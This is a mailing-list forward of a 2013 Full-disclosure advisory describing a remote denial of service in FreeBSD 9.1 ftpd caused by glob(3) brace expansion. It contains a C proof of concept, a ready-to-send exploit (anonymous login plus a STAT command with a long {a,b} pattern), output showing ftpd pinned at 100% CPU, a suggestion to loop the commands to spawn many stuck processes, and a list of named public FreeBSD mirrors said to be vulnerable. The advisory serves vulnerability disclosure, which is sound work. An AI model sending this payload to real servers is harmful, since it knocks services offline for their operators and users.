[FUG-BR] Fwd: [Full-disclosure] FreeBSD 9.1 ftpd Remote Denial of Service
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Domingo Fevereiro 3 23:42:36 BRST 2013
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> De: Maksymilian Arciemowicz <max em cxib.net>
> Data: 1 de fevereiro de 2013 09:33:57 BRST
> Para: full-disclosure em lists.grok.org.uk
> Assunto: [Full-disclosure] FreeBSD 9.1 ftpd Remote Denial of Service
>
> FreeBSD 9.1 ftpd Remote Denial of Service
> Maksymilian Arciemowicz
> http://cxsecurity.org/
> http://cxsec.org/
>
> Public Date: 01.02.2013
> URL: http://cxsecurity.com/issue/WLB-2013020003
>
> Affected servers:
> - ftp.uk.freebsd.org,
> - ftp.ua.freebsd.org,
> - ftp5.freebsd.org,
> - ftp5.us.freebsd.org,
> - ftp10.freebsd.org,
> - ftp3.uk.freebsd.org,
> - ftp7.ua.freebsd.org,
> - ftp2.se.freebsd.org,
> - ftp2.za.FreeBSD.org,
> - ftp2.ru.freebsd.org,
> - ftp2.pl.freebsd.org
> and more...
>
>
> --- 1. Description ---
> I have decided check BSD ftpd servers once again for wildcards. Old
> bug in libc (CVE-2011-0418) allow to Denial of Service ftpd in last
> FreeBSD version.
> Attacker, what may connect anonymously to FTP server, may cause CPU
> resource exhaustion. Login as a 'USER anonymous' 'PASS anonymous',
> sending 'STAT' command with special wildchar, enought to create ftpd
> process with 100% CPU usage.
>
> Proof of Concept (POC):
> See the difference between NetBSD/libc and FreeBSD/libc.
> --- PoC ---
> #include <stdio.h>
> #include <glob.h>
>
> int main(){
> glob_t globbuf;
> char stringa[]="{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}";
> glob(stringa,GLOB_BRACE|GLOB_NOCHECK|GLOB_TILDE|GLOB_LIMIT, NULL, &globbuf);
> }
> --- PoC ---
>
> --- Exploit ---
> user anonymous
> pass anonymous
> stat {a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}
> --- /Exploit ---
>
> Result of attack:
> ftp 13034 0.0 0.4 10416 1944 ?? R 10:48PM 0:00.96
> ftpd: cxsec.org anonymous/anonymous (ftpd)
> ftp 13035 0.0 0.4 10416 1944 ?? R 10:48PM 0:00.89
> ftpd: cxsec.org anonymous/anonymous (ftpd)
> ftp 13036 0.0 0.4 10416 1944 ?? R 10:48PM 0:00.73
> ftpd: cxsec.org anonymous/anonymous (ftpd)
> ftp 13046 0.0 0.4 10416 1952 ?? R 10:48PM 0:00.41
> ftpd: cxsec.org anonymous/anonymous (ftpd)
> ftp 13047 0.0 0.4 10416 1960 ?? R 10:48PM 0:00.42
> ftpd: cxsec.org anonymous/anonymous (ftpd)
> ...
> root 13219 0.0 0.3 10032 1424 ?? R 10:52PM 0:00.00
> /usr/libexec/ftpd -dDA
> root 13225 0.0 0.3 10032 1428 ?? R 10:52PM 0:00.00
> /usr/libexec/ftpd -dDA
> root 13409 0.0 0.3 10032 1404 ?? R 10:53PM 0:00.00
> /usr/libexec/ftpd -dDA
> root 13410 0.0 0.3 10032 1404 ?? R 10:53PM 0:00.00
> /usr/libexec/ftpd -dDA
> ...
>
> =>Sending:
> STAT {a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}
>
> =>Result:
> @ps:
> ftp 1336 100.0 0.5 10416 2360 ?? R 11:15PM 600:39.95
> ftpd: 127.0.0.1: anonymous/anonymous em cxsecurity.com: \r\n (ftpd)$
> @top:
> 1336 root 1 103 0 10416K 2360K RUN 600:53 100.00% ftpd
>
> one request over 600m (~10h) execution time and 100% CPU usage. This
> issue allow to create N ftpd processes with 100% CPU usage.
>
> Just create loop while(1) and send these commands
> ---
> user anonymous
> pass anonymous
> stat {a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}
> ---
>
> NetBSD and OpenBSD has fixed this issue in glob(3)/libc (2011)
> http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/gen/glob.c.diff?r1=1.24&r2=1.23.10.2
>
> The funniest is that freebsd use GLOB_LIMIT in ftpd server.
> http://www.freebsd.org/cgi/cvsweb.cgi/src/libexec/ftpd/ftpd.c
> ---
> if (strpbrk(whichf, "~{[*?") != NULL) {
> int flags = GLOB_BRACE|GLOB_NOCHECK|GLOB_TILDE;
>
> memset(&gl, 0, sizeof(gl));
> gl.gl_matchc = MAXGLOBARGS;
> flags |= GLOB_LIMIT;
> freeglob = 1;
> if (glob(whichf, flags, 0, &gl)) {
> ---
>
> but GLOB_LIMIT in FreeBSD dosen't work. glob(3) function allow to CPU
> resource exhaustion. ;]
>
> Libc was also vulnerable in Apple and Oracle products.
> http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html
> http://support.apple.com/kb/HT4723
>
> only FreeBSD and GNU glibc are affected
>
>
> --- 2. Exploit ---
> http://cxsecurity.com/issue/WLB-2013010233
>
>
> --- 3. Fix ---
> Don't use ftpd on FreeBSD systems. :) You may use vsftpd to resolve
> problem with security ;)
>
>
> --- 4. References ---
> Multiple Vendors libc/glob(3) remote ftpd resource exhaustion
> http://cxsecurity.com/issue/WLB-2010100135
> http://cxsecurity.com/cveshow/CVE-2010-2632
>
> Multiple FTPD Server GLOB_BRACE|GLOB_LIMIT memory exhaustion
> http://cxsecurity.com/issue/WLB-2011050004
> http://cxsecurity.com/cveshow/CVE-2011-0418
>
> More CWE-399 resource exhaustion examples:
> http://cxsecurity.com/cwe/CWE-399
>
> The regcomp implementation in the GNU C Library allows attackers to
> cause a denial of service proftpd
> http://cxsecurity.com/cveshow/CVE-2010-4051
> http://cxsecurity.com/cveshow/CVE-2010-4052
> http://www.kb.cert.org/vuls/id/912279
>
>
> --- 5. Contact ---
> Maksymilian Arciemowicz
> max 4T cxsecurity.com
> http://cxsecurity.com/
> http://cxsec.org/
>
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